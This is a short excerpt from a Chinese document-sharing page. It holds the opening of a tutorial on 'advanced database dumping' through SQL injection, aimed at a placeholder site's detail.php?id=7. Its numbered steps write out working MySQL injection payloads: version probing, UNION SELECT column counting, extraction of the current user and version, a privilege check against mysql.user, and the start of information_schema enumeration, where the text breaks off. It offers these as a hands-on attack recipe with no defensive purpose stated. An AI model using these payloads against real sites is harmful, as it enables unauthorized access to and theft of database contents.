- 0
- 0
- 约2.23千字
- 约 3页
- 2021-01-08 发布于四川
- 举报
记暴库高级方法讲解脚本安全 电脑资料
1.判断版本.xxx./document/advisory/detail.php?id=7 and ord(mid(version(),1,1))51 返回正常,说明大于4.0版本,支持ounion查询
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
.xxx./document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
3.查看数据库版本及当前用户,.xxx./document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证,
4.判断有没有写权限
.xxx./document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)0-- 返回错误,没有写权限
没办法,手动猜表啦
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_sc
原创力文档

文档评论(0)